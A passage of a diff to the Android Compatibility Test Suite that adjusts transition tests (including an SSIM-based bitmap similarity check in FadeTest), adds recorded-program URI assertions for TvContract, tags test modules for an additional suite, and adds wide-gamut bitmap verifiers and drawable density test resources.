     private TargetActivity waitForTargetActivity() throws Throwable {
         PollingCheck.waitFor(() -> TargetActivity.sLastCreated != null);
         // Just make sure that we're not in the middle of running on the UI thread.
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
index d11051f..397b010 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
@@ -43,8 +43,8 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class ChangeBoundsTest extends BaseTransitionTest {
-    private static final int SMALL_SQUARE_SIZE_DP = 10;
-    private static final int LARGE_SQUARE_SIZE_DP = 30;
+    private static final int SMALL_SQUARE_SIZE_DP = 30;
+    private static final int LARGE_SQUARE_SIZE_DP = 50;
     private static final int SMALL_OFFSET_DP = 2;
 
     ChangeBounds mChangeBounds;
@@ -325,21 +325,27 @@
                 width = view.getWidth();
                 height = view.getHeight();
             }
-            validateDim(name, "width", dimensions.x, width);
-            validateDim(name, "height", dimensions.y, height);
-            dimensions.set(width, height);
+            int newWidth = validateDim(name, "width", dimensions.x, width);
+            int newHeight = validateDim(name, "height", dimensions.y, height);
+            dimensions.set(newWidth, newHeight);
         }
 
-        private void validateDim(String name, String dimen, int lastDim, int newDim) {
+        private int validateDim(String name, String dimen, int lastDim, int newDim) {
+            int dim = newDim;
             if (lastDim != -1) {
+                // We must give a pixel's buffer because the top-left and
+                // bottom-right may move independently, causing a rounding error
+                // in size change.
                 if (mGrow) {
                     assertTrue(name + " new " + dimen + " " + newDim
                                     + " is less than previous " + lastDim,
-                            newDim >= lastDim);
+                            newDim >= lastDim - 1);
+                    dim = Math.max(lastDim, newDim);
                 } else {
                     assertTrue(name + " new " + dimen + " " + newDim
                                     + " is more than previous " + lastDim,
-                            newDim <= lastDim);
+                            newDim <= lastDim + 1);
+                    dim = Math.min(lastDim, newDim);
                 }
                 if (newDim != lastDim) {
                     mDidChangeSize = true;
@@ -349,6 +355,7 @@
                     newDim <= mMax);
             assertTrue(name + " " + dimen + " " + newDim + " must be >= " + mMin,
                     newDim >= mMin);
+            return dim;
         }
 
         @Override
diff --git a/tests/tests/transition/src/android/transition/cts/FadeTest.java b/tests/tests/transition/src/android/transition/cts/FadeTest.java
index 22a6039..fe93d1b 100644
--- a/tests/tests/transition/src/android/transition/cts/FadeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/FadeTest.java
@@ -15,18 +15,37 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
 import static org.mockito.Matchers.any;
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.verify;
 
+import android.animation.Animator;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.BitmapDrawable;
 import android.support.test.filters.MediumTest;
 import android.support.test.runner.AndroidJUnit4;
 import android.transition.Fade;
+import android.transition.Transition;
+import android.transition.TransitionListenerAdapter;
+import android.transition.TransitionManager;
+import android.transition.TransitionValues;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import android.widget.ImageView;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 /**
  * This tests the public API for Fade. The alpha cannot be easily tested as part of CTS,
  * so those are implementation tests.
@@ -34,6 +53,12 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class FadeTest extends BaseTransitionTest {
+    private static final int WINDOW_SIZE = 10;
+    public static final double CONSTANT_L = 254;
+    public static final double CONSTANT_K1 = 0.00001;
+    public static final double CONSTANT_K2 = 0.00003;
+    public static final double CONSTANT_C1 = Math.pow(CONSTANT_L * CONSTANT_K1, 2);
+    public static final double CONSTANT_C2 = Math.pow(CONSTANT_L * CONSTANT_K2, 2);
     Fade mFade;
 
     @Override
@@ -89,5 +114,187 @@
         verify(mListener, never()).onTransitionEnd(any());
         waitForEnd(400);
     }
+
+    @Test
+    public void testFadeOut() throws Throwable {
+        enterScene(R.layout.scene4);
+    }
+
+    @Test
+    public void testFadeOutTransition() throws Throwable {
+        enterScene(R.layout.scene1);
+
+        final View redSquare = mActivity.findViewById(R.id.redSquare);
+        final Bitmap redSquareBitmap = createViewBitmap(redSquare);
+        final FrameLayout container = new FrameLayout(mActivity);
+        final ViewGroup sceneRoot = mActivity.findViewById(R.id.holder);
+
+        final int startWidth = redSquare.getWidth();
+        final int startHeight = redSquare.getHeight();
+
+        final CountDownLatch onDisappearCalled = new CountDownLatch(1);
+
+        Fade fadeOut = new Fade(Fade.MODE_OUT) {
+            @Override
+            public Animator onDisappear(ViewGroup sceneRoot, View view,
+                    TransitionValues startValues,
+                    TransitionValues endValues) {
+                assertNotSame(view, redSquare);
+                assertEquals(startWidth, view.getWidth());
+                assertEquals(startHeight, view.getHeight());
+                assertTrue(view instanceof ImageView);
+                ImageView imageView = (ImageView) view;
+                BitmapDrawable bitmapDrawable = (BitmapDrawable) imageView.getDrawable();
+                Bitmap bitmap = bitmapDrawable.getBitmap();
+                Bitmap copy = bitmap.copy(Bitmap.Config.ARGB_8888, false);
+                Bitmap expected = redSquareBitmap.copy(Bitmap.Config.ARGB_8888, false);
+                verifySimilar(expected, copy, 0.95);
+                onDisappearCalled.countDown();
+                return super.onDisappear(sceneRoot, view, startValues, endValues);
+            }
+        };
+        fadeOut.setDuration(20);
+
+        final CountDownLatch endLatch = new CountDownLatch(1);
+        fadeOut.addListener(new TransitionListenerAdapter() {
+            @Override
+            public void onTransitionEnd(Transition transition) {
+                endLatch.countDown();
+            }
+        });
+
+
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(sceneRoot, fadeOut);
+            sceneRoot.removeView(redSquare);
+            container.addView(redSquare);
+        });
+
+        // Should only take 20ms, but no need to rush here
+        assertTrue(endLatch.await(1, TimeUnit.SECONDS));
+        assertTrue(onDisappearCalled.await(0, TimeUnit.SECONDS));
+    }
+
+    private Bitmap createViewBitmap(View view) {
+        int bitmapWidth = view.getWidth();
+        int bitmapHeight = view.getHeight();
+        Bitmap bitmap = Bitmap.createBitmap(bitmapWidth, bitmapHeight, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bitmap);
+        view.draw(canvas);
+        return bitmap;
+    }
+
+    /**
+     * From {@link android.uirendering.cts.bitmapcomparers.MSSIMComparer}
+     */
+    private static void verifySimilar(Bitmap expected, Bitmap real, double threshold) {
+        assertEquals(expected.getWidth(), real.getWidth());
+        assertEquals(expected.getHeight(), real.getHeight());
+
+        double ssimTotal = 0;
+        int windows = 0;
+
+        for (int y = 0; y < expected.getHeight(); y += WINDOW_SIZE) {
+            y = Math.min(y, expected.getHeight() - WINDOW_SIZE);
+
+            for (int x = 0; x < expected.getWidth(); x += WINDOW_SIZE) {
+                x = Math.min(x, expected.getWidth() - WINDOW_SIZE);
+
+                if (isWindowWhite(expected, x, y) && isWindowWhite(real, x, y)) {
+                    continue;
+                }
+                windows++;
+                double[] means = getMeans(expected, real, x, y);
+                double meanX = means[0];
+                double meanY = means[1];
+                double[] variances = getVariances(expected, real, meanX, meanY, x, y);
+                double varX = variances[0];
+                double varY = variances[1];
+                double stdBoth = variances[2];
+                double ssim = ssim(meanX, meanY, varX, varY, stdBoth);
+                ssimTotal += ssim;
+            }
+        }
+        assertTrue(ssimTotal >= threshold);
+    }
+
+    /**
+     * This method will find the mean of a window in both sets of pixels. The return is an array
+     * where the first double is the mean of the first set and the second double is the mean of the
+     * second set.
+     */
+    private static double[] getMeans(Bitmap bitmap1, Bitmap bitmap2, int xStart, int yStart) {
+        double avg0 = 0;
+        double avg1 = 0;
+        for (int y = 0; y < WINDOW_SIZE; y++) {
+            for (int x = 0; x < WINDOW_SIZE; x++) {
+                avg0 += getIntensity(bitmap1.getPixel(xStart + x, yStart + y));
+                avg1 += getIntensity(bitmap2.getPixel(xStart + x, yStart + y));
+            }
+        }
+        avg0 /= WINDOW_SIZE * WINDOW_SIZE;
+        avg1 /= WINDOW_SIZE * WINDOW_SIZE;
+        return new double[]{avg0, avg1};
+    }
+
+    /**
+     * Finds the variance of the two sets of pixels, as well as the covariance of the windows. The
+     * return value is an array of doubles, the first is the variance of the first set of pixels,
+     * the second is the variance of the second set of pixels, and the third is the covariance.
+     */
+    private static double[] getVariances(Bitmap bitmap1, Bitmap bitmap2, double mean0, double mean1,
+            int xStart, int yStart) {
+        double var0 = 0;
+        double var1 = 0;
+        double varBoth = 0;
+        for (int y = 0; y < WINDOW_SIZE; y++) {
+            for (int x = 0; x < WINDOW_SIZE; x++) {
+                double v0 = getIntensity(bitmap1.getPixel(xStart + x, yStart + y)) - mean0;
+                double v1 = getIntensity(bitmap2.getPixel(xStart + x, yStart + y)) - mean1;
+                var0 += v0 * v0;
+                var1 += v1 * v1;
+                varBoth += v0 * v1;
+            }
+        }
+        var0 /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
+        var1 /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
+        varBoth /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
+        return new double[]{var0, var1, varBoth};
+    }
+
+    /**
+     * Gets the intensity of a given pixel in RGB using luminosity formula
+     *
+     * l = 0.21R' + 0.72G' + 0.07B'
+     *
+     * The prime symbols dictate a gamma correction of 1.
+     */
+    private static double getIntensity(int pixel) {
+        final double gamma = 1;
+        double l = 0;
+        l += (0.21f * Math.pow(Color.red(pixel) / 255f, gamma));
+        l += (0.72f * Math.pow(Color.green(pixel) / 255f, gamma));
+        l += (0.07f * Math.pow(Color.blue(pixel) / 255f, gamma));
+        return l;
+    }
+
+    private static boolean isWindowWhite(Bitmap bitmap, int xStart, int yStart) {
+        for (int y = 0; y < WINDOW_SIZE; y++) {
+            for (int x = 0; x < WINDOW_SIZE; x++) {
+                if (bitmap.getPixel(xStart + x, yStart + y) != Color.WHITE) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    private static double ssim(double muX, double muY, double sigX, double sigY, double sigXY) {
+        double ssim = (((2 * muX * muY) + CONSTANT_C1) * ((2 * sigXY) + CONSTANT_C2));
+        double denom = ((muX * muX) + (muY * muY) + CONSTANT_C1)
+                * (sigX + sigY + CONSTANT_C2);
+        ssim /= denom;
+        return ssim;
+    }
 }
 
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionTest.java b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
index 9ba201a..ad819fd 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
@@ -566,7 +566,7 @@
         startTransition(R.layout.scene8);
 
         // scene 8 swaps the ids, but not the names. No transition should happen.
-        waitForEnd(0);
+        waitForEnd(1000);
 
         // now change the match order to prefer the id
         mTransition.setMatchOrder(new int[] {Transition.MATCH_ID, Transition.MATCH_NAME});
diff --git a/tests/tests/tv/Android.mk b/tests/tests/tv/Android.mk
index 66b35a1..30429d3 100644
--- a/tests/tests/tv/Android.mk
+++ b/tests/tests/tv/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 76b1e8e..6314ec5 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -1438,29 +1438,41 @@
         final Uri CHANNEL_URI_FOR_PASSTHROUGH_INPUT =
                 TvContract.buildChannelUriForPassthroughInput("inputId");
         final Uri PROGRAM_URI = TvContract.buildProgramUri(0);
+        final Uri RECORDED_PROGRAM_URI = TvContract.buildRecordedProgramUri(0);
 
         // Test isChannelUri
         assertTrue(TvContract.isChannelUri(CHANNEL_URI_FOR_TUNER));
         assertTrue(TvContract.isChannelUri(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
         assertFalse(TvContract.isChannelUri(PROGRAM_URI));
+        assertFalse(TvContract.isChannelUri(RECORDED_PROGRAM_URI));
         assertFalse(TvContract.isChannelUri(null));
 
         // Test isChannelUriForPassthroughInput
         assertFalse(TvContract.isChannelUriForPassthroughInput(CHANNEL_URI_FOR_TUNER));
         assertTrue(TvContract.isChannelUriForPassthroughInput(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
         assertFalse(TvContract.isChannelUriForPassthroughInput(PROGRAM_URI));
+        assertFalse(TvContract.isChannelUriForPassthroughInput(RECORDED_PROGRAM_URI));
         assertFalse(TvContract.isChannelUriForPassthroughInput(null));
 
         // Test isChannelUriForTunerInput
         assertTrue(TvContract.isChannelUriForTunerInput(CHANNEL_URI_FOR_TUNER));
         assertFalse(TvContract.isChannelUriForTunerInput(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
         assertFalse(TvContract.isChannelUriForTunerInput(PROGRAM_URI));
+        assertFalse(TvContract.isChannelUriForTunerInput(RECORDED_PROGRAM_URI));
         assertFalse(TvContract.isChannelUriForTunerInput(null));
 
         // Test isProgramUri
         assertFalse(TvContract.isProgramUri(CHANNEL_URI_FOR_TUNER));
         assertFalse(TvContract.isProgramUri(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
         assertTrue(TvContract.isProgramUri(PROGRAM_URI));
+        assertFalse(TvContract.isProgramUri(RECORDED_PROGRAM_URI));
         assertFalse(TvContract.isProgramUri(null));
+
+        // Test isRecordedProgramUri
+        assertFalse(TvContract.isRecordedProgramUri(CHANNEL_URI_FOR_TUNER));
+        assertFalse(TvContract.isRecordedProgramUri(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
+        assertFalse(TvContract.isRecordedProgramUri(PROGRAM_URI));
+        assertTrue(TvContract.isRecordedProgramUri(RECORDED_PROGRAM_URI));
+        assertFalse(TvContract.isRecordedProgramUri(null));
     }
 }
diff --git a/tests/tests/uiautomation/Android.mk b/tests/tests/uiautomation/Android.mk
index d708c67..eb6ed68 100644
--- a/tests/tests/uiautomation/Android.mk
+++ b/tests/tests/uiautomation/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator legacy-android-test
 
diff --git a/tests/tests/uidisolation/Android.mk b/tests/tests/uidisolation/Android.mk
index a69de23..e9ee3e9 100644
--- a/tests/tests/uidisolation/Android.mk
+++ b/tests/tests/uidisolation/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver legacy-android-test
 
diff --git a/tests/tests/uidisolation/AndroidTest.xml b/tests/tests/uidisolation/AndroidTest.xml
index e26c721..02df495 100644
--- a/tests/tests/uidisolation/AndroidTest.xml
+++ b/tests/tests/uidisolation/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS UID Isolation test cases">
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUidIsolationTestCases.apk" />
diff --git a/tests/tests/uirendering/Android.mk b/tests/tests/uirendering/Android.mk
index 06bd748..9cc07b9 100644
--- a/tests/tests/uirendering/Android.mk
+++ b/tests/tests/uirendering/Android.mk
@@ -22,12 +22,13 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     compatibility-device-util \
+    ctsdeviceutillegacy \
     ctstestrunner \
     mockito-target-minus-junit4 \
     android-support-test \
diff --git a/tests/tests/uirendering/assets/wide-gamut-test.png b/tests/tests/uirendering/assets/wide-gamut-test.png
new file mode 100644
index 0000000..ba8dbcf
--- /dev/null
+++ b/tests/tests/uirendering/assets/wide-gamut-test.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable/bitmap_density.xml b/tests/tests/uirendering/res/drawable/bitmap_density.xml
new file mode 100644
index 0000000..04d6125
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/bitmap_density.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2016 The Android Open Source Project
+    
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+    
+          http://www.apache.org/licenses/LICENSE-2.0
+    
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
+        android:src="@drawable/icon_blue" />
diff --git a/tests/tests/uirendering/res/drawable/bitmap_shader_am_density.xml b/tests/tests/uirendering/res/drawable/bitmap_shader_am_density.xml
new file mode 100644
index 0000000..9c28199
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/bitmap_shader_am_density.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2016 The Android Open Source Project
+    
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+    
+          http://www.apache.org/licenses/LICENSE-2.0
+    
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
+        android:src="@drawable/icon_blue"
+        android:tileModeX="repeat"
+        android:tileModeY="clamp"
+        android:autoMirrored="true" />
diff --git a/tests/tests/uirendering/res/drawable/bitmap_shader_density.xml b/tests/tests/uirendering/res/drawable/bitmap_shader_density.xml
new file mode 100644
index 0000000..216874e
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/bitmap_shader_density.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2016 The Android Open Source Project
+    
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+    
+          http://www.apache.org/licenses/LICENSE-2.0
+    
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
+        android:src="@drawable/icon_blue"
+        android:tileModeX="repeat"
+        android:tileModeY="clamp" />
diff --git a/tests/tests/uirendering/res/drawable/icon_blue.jpg b/tests/tests/uirendering/res/drawable/icon_blue.jpg
new file mode 100644
index 0000000..9e6c1c8
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/icon_blue.jpg
Binary files differ
diff --git a/tests/tests/uirendering/res/layout/wide_gamut_bitmap_layout.xml b/tests/tests/uirendering/res/layout/wide_gamut_bitmap_layout.xml
new file mode 100644
index 0000000..adc436a
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/wide_gamut_bitmap_layout.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+            http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+  -->
+<android.uirendering.cts.testclasses.view.BitmapView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content" />
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java
index 2f7acd5..61767b3 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java
@@ -27,6 +27,14 @@
 
     protected Bitmap mDifferenceBitmap;
 
+    public boolean verify(Bitmap bitmap) {
+        int width = bitmap.getWidth();
+        int height = bitmap.getHeight();
+        int[] pixels = new int[width * height];
+        bitmap.getPixels(pixels, 0, width, 0, 0, width, height);
+        return verify(pixels, 0, width, width, height);
+    }
+
     /**
      * This will test if the bitmap is good or not.
      */
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/SamplePointWideGamutVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/SamplePointWideGamutVerifier.java
new file mode 100644
index 0000000..c075105
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/SamplePointWideGamutVerifier.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.bitmapverifiers;
+
+import android.graphics.Color;
+import android.graphics.ColorSpace;
+import android.graphics.Point;
+import android.util.Half;
+import android.util.Log;
+
+import java.nio.ByteBuffer;
+
+public class SamplePointWideGamutVerifier extends WideGamutBitmapVerifier {
+    private static final String TAG = "SamplePointWideGamut";
+
+    private static final ColorSpace SCRGB = ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB);
+
+    private final Point[] mPoints;
+    private final Color[] mColors;
+    private final float mEps;
+
+    public SamplePointWideGamutVerifier(Point[] points, Color[] colors, float eps) {
+        mPoints = points;
+        mColors = colors;
+        mEps = eps;
+    }
+
+    @Override
+    public boolean verify(ByteBuffer bitmap, int offset, int stride, int width, int height) {
+        boolean success = true;
+        for (int i = 0; i < mPoints.length; i++) {
+            Point p = mPoints[i];
+            Color c = mColors[i];
+
+            int index = p.y * stride + (p.x << 3);
+            float r = Half.toFloat(bitmap.getShort(index));
+            float g = Half.toFloat(bitmap.getShort(index + 2));
+            float b = Half.toFloat(bitmap.getShort(index + 4));
+
+            boolean localSuccess = true;
+            if (!floatCompare(c.red(),   r, mEps)) localSuccess = false;
+            if (!floatCompare(c.green(), g, mEps)) localSuccess = false;
+            if (!floatCompare(c.blue(),  b, mEps)) localSuccess = false;
+
+            if (!localSuccess) {
+                success = false;
+                Log.w(TAG, "Expected " + c.toString() + " at " + p.x + "x" + p.y
+                        + ", got " + Color.valueOf(r, g, b, 1.0f, SCRGB).toString());
+            }
+        }
+        return success;
+    }
+
+    private static boolean floatCompare(float a, float b, float eps) {
+        return Float.compare(a, b) == 0 || Math.abs(a - b) <= eps;
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/WideGamutBitmapVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/WideGamutBitmapVerifier.java
new file mode 100644
index 0000000..0c11a064
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/WideGamutBitmapVerifier.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.bitmapverifiers;
+
+import android.graphics.Bitmap;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+
+public abstract class WideGamutBitmapVerifier extends BitmapVerifier {
+    @Override
+    public boolean verify(Bitmap bitmap) {
+        ByteBuffer dst = ByteBuffer.allocateDirect(bitmap.getAllocationByteCount());
+        bitmap.copyPixelsToBuffer(dst);
+        dst.rewind();
+        dst.order(ByteOrder.LITTLE_ENDIAN);
+
+        int width = bitmap.getWidth();
+        int height = bitmap.getHeight();
+        return verify(dst, 0, bitmap.getRowBytes(), width, height);
+    }
+
+    public abstract boolean verify(ByteBuffer bitmap, int offset, int stride,
+            int width, int height);
+
+    @Override
+    public boolean verify(int[] bitmap, int offset, int stride, int width, int height) {
+        // This method is never called, we use
+        // verify(ByteBuffer bitmap, int offset, int stride, int width, int height) instead
+        return false;
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
new file mode 100644
index 0000000..7b01d34
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.uirendering.cts.testclasses;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.res.Resources.Theme;
+import android.graphics.BitmapFactory;
+import android.graphics.Rect;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.content.res.XmlResourceParser;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.Drawable.ConstantState;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.CanvasClient;
+import android.util.LayoutDirection;
+
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapDrawableTest extends ActivityTestBase {
+
+    // The target context.
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    private static final int[] DENSITY_VALUES = new int[] {
+            160, 80, 320
+    };
+
+    private static final int[] DENSITY_IMAGES = new int[] {
+            R.drawable.bitmap_density,
+            R.drawable.bitmap_shader_density,
+            R.drawable.bitmap_shader_am_density,
+    };
+
+    @Test
+    public void testPreloadDensity() throws IOException {
+        final Resources res = mContext.getResources();
+        final int densityDpi = res.getConfiguration().densityDpi;
+        try {
+            for (int i = 0; i < DENSITY_IMAGES.length; i++) {
+                verifyPreloadDensityInner(res, DENSITY_IMAGES[i], DENSITY_VALUES);
+            }
+        } finally {
+            setResourcesDensity(res, densityDpi);
+        }
+    }
+
+    private void verifyPreloadDensityInner(Resources res, int sourceResId, int[] densities)
+            throws IOException {
+        final Rect tempPadding = new Rect();
+
+        // Capture initial state at preload density.
+        final int preloadDensityDpi = densities[0];
+        setResourcesDensity(res, preloadDensityDpi);
+
+        final BitmapDrawable preloadedDrawable = (BitmapDrawable) res.getDrawable(sourceResId);
+        final ConstantState preloadedConstantState = preloadedDrawable.getConstantState();
+        final int origWidth = preloadedDrawable.getIntrinsicWidth();
